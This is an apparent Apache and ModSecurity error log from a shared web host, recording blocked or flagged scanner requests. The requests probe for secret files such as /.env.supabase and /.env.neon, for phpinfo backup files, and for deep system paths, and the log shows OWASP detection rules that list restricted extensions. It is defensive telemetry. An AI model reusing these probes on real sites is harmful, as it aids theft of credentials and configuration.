[Fri Jul 17 09:15:34.340041 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:34.364129 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXhHlOGcokz2QIwTWhgAAAAM"]
[Fri Jul 17 09:15:34.535957 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.supabase"] [unique_id "almlXo1dLClkUfK_dfHoLQAAAAI"]
[Fri Jul 17 09:15:34.537526 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.supabase"] [unique_id "almlXo1dLClkUfK_dfHoLQAAAAI"]
[Fri Jul 17 09:15:34.546691 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:34.646938 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:34.698346 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXo1dLClkUfK_dfHoLQAAAAI"]
[Fri Jul 17 09:15:34.753042 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/tty0/uevent"] [unique_id "almlXvwooI4qY7Jg93pY9gAAABM"]
[Fri Jul 17 09:15:34.753094 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:7/subsystem/tty0/uevent"] [unique_id "almlXvwooI4qY7Jg93pY9gAAABM"]
[Fri Jul 17 09:15:34.857667 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlXkgVnBK6wAv37w6wCwAAABQ"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:15:34.857720 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlXkgVnBK6wAv37w6wCwAAABQ"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:15:34.866258 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.neon"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.neon"] [unique_id "almlXiRF0UOO1RzB5_8xfgAAAA4"]
[Fri Jul 17 09:15:34.867503 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.neon"] [unique_id "almlXiRF0UOO1RzB5_8xfgAAAA4"]
[Fri Jul 17 09:15:35.073240 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlXiRF0UOO1RzB5_8xfgAAAA4"]
[Fri Jul 17 09:15:35.158396 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:35.499839 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty7/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:15:36.296937 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:36.405075 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:37.150399 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:37.229185 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:37.229911 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:41/subsystem/tty17/power/"] [unique_id "almlYUgVnBK6wAv37w6wDQAAABQ"]
[Fri Jul 17 09:15:37.229932 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:41/subsystem/tty17/power/"] [unique_id "almlYUgVnBK6wAv37w6wDQAAABQ"]
[Fri Jul 17 09:15:37.237971 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:58760] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:38.317234 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.519636 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.618018 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842576 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842662 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842690 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842712 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842731 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842750 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842769 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842788 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842806 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842824 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842843 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842861 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842879 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842909 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842928 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.842949 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:38.928181 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/machinecheck/devices/machinecheck2/subsystem/uevent
[Fri Jul 17 09:15:39.039349 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:39.974723 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:40.085429 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:40.311689 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty4/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:15:40.415818 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:40.516303 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:40.619146 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:40.720587 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty29/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 09:15:40.823495 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:40.925220 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:41.026433 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:41.155785 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:41.256605 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlZYe39YUk0SgV8AU9qAAAABE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:15:41.256650 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlZYe39YUk0SgV8AU9qAAAABE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:15:41.699377 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:41.703732 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 57.141.18.25:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory123/node0/memory16/subsystem/devices/memory100/subsystem/drivers_probe
[Fri Jul 17 09:15:42.685330 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:38152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:44.926112 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS0/device/driver/bind
[Fri Jul 17 09:15:45.901788 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlabEWOaI5pmYo9fnSPwAAAAA"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:15:45.901842 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almlabEWOaI5pmYo9fnSPwAAAAA"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:15:47.044822 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/phpinfo.php.bak"] [unique_id "almla4-0g_VSPeIeFN3DtAAAAAs"]
[Fri Jul 17 09:15:47.046210 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/phpinfo.php.bak"] [unique_id "almla4-0g_VSPeIeFN3DtAAAAAs"]
[Fri Jul 17 09:15:47.250469 2026] [security2:error] [pid 2034024:tid 2034024] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almla4-0g_VSPeIeFN3DtAAAAAs"]
[Fri Jul 17 09:15:47.427321 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/phpinfo.php.old"] [unique_id "almla11_86A5R6msWNfX4AAAABI"]
[Fri Jul 17 09:15:47.428760 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/phpinfo.php.old"] [unique_id "almla11_86A5R6msWNfX4AAAABI"]
[Fri Jul 17 09:15:47.536745 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:15:47.691771 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almla11_86A5R6msWNfX4AAAABI"]
[Fri Jul 17 09:15:47.865075 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/phpinfo.php~"] [unique_id "almla614q1EBnanVMYGnbgAAAAk"]
[Fri Jul 17 09:15:47.866466 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/phpinfo.php~"] [unique_id "almla614q1EBnanVMYGnbgAAAAk"]
[Fri Jul 17 09:15:47.930632 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:38554] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:15:48.061903 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almla614q1EBnanVMYGnbgAAAAk"]
[Fri Jul 17 09:15:48.232208 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/info.php.bak"] [unique_id "almlbF1_86A5R6msWNfX4QAAABI"]
[Fri Jul 17 09:15:48.233584 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/info.php.bak"] [unique_id "almlbF1_86A5R6msWNfX4QAAABI"]
